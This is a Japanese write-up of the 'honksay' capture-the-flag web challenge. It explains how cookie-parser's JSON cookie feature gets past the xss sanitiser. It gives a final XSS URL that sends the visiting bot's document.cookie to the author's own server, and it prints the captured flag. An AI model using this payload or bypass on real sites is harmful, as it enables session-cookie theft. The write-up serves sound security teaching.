Skip to content

Latest commit

 

History

History

honksay

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

honksay:Web:50pts

Haha goose say funny thing

http://honksay.ctf.maplebacon.org/

honksay.tar.gz

Solution

URLとソースコードが渡される。
アクセスすると、アヒルと報告するフォームのみが見つかる。
site.png
ソース(app.js)を見ると以下のようであった。

~~~
app.get('/changehonk', (req, res) => {
    res.cookie('honk', req.query.newhonk, {
        httpOnly: true
    });
    res.cookie('honkcount', 0, {
        httpOnly: true
    });
    res.redirect('/');
});
~~~

/changehonkでcookie経由でアヒルに何か喋らせられる。
適当にscriptタグなどを打ち込むが、サニタイズされている挙動がみられる。
ソースでは以下の部分であった。

~~~
const clean = require('xss');
~~~
app.get('/', (req, res) => {
    if (req.cookies.honk){
        //construct object
        let finalhonk = {};
        if (typeof(req.cookies.honk) === 'object'){
            finalhonk = req.cookies.honk
        } else {
            finalhonk = {
                message: clean(req.cookies.honk), 
                amountoftimeshonked: req.cookies.honkcount.toString()
            };
        }
        res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));
    } else {
        const initialhonk = 'HONK';
        res.cookie('honk', initialhonk, {
            httpOnly: true
        });
        res.cookie('honkcount', 0, {
            httpOnly: true
        });
        res.redirect('/');
    }
});
~~~

フラグはクローラー(goose.js)のcookieなので、典型的なXSS問題だ。

~~~
        page = await browser.newPage();
        await page.setCookie({
            name: 'flag',
            value: FLAG,
            domain: 'localhost',
            samesite: 'none'
        });
        await page.goto(url, {waitUntil : 'networkidle2' }).catch(e => console.log(e));
~~~

サニタイズライブラリのバージョンを確認するも最新版で、cleanをbypassするのは現実的でない。
ここで以下に注目する。

~~~
        let finalhonk = {};
        if (typeof(req.cookies.honk) === 'object'){
            finalhonk = req.cookies.honk
        } else {
            finalhonk = {
                message: clean(req.cookies.honk), 
                amountoftimeshonked: req.cookies.honkcount.toString()
            };
        }
        res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));
~~~

typeof(req.cookies.honk) === 'object'がTrueであればサニタイズを回避できる。
ここでhonksay.ctf.maplebacon.org/changehonk?newhonk[abc]=defにアクセスすると、cookieがj:{"abc":"def"}をパーセントエンコーディングしたものになっていることに気づく。
調査するとcookie-parserではJSON cookiesなるものをサポートしているようだ。
finalhonk.messageをレンダリングしているので、j:{"message":"XSS Payload"}が刺さる。
クローラはlocalhostのcookieにフラグを設定しているので、Dockerfileなどでportを調べてやると9988とわかる。
よって最終的なXSSを引き起こすURLは以下になる。

http://localhost:9988/changehonk?newhonk[message]=%3Cscript%3Elocation.href%3D%27https://[自身のサーバ]%2F%3Fs%3D%27%2Bdocument.cookie%3C%2Fscript%3E

これを報告し、自身のサーバで待ち受ける。

GET
/?s=flag=maple{g00segoHONK}

flagを含むリクエストが届いた。

maple{g00segoHONK}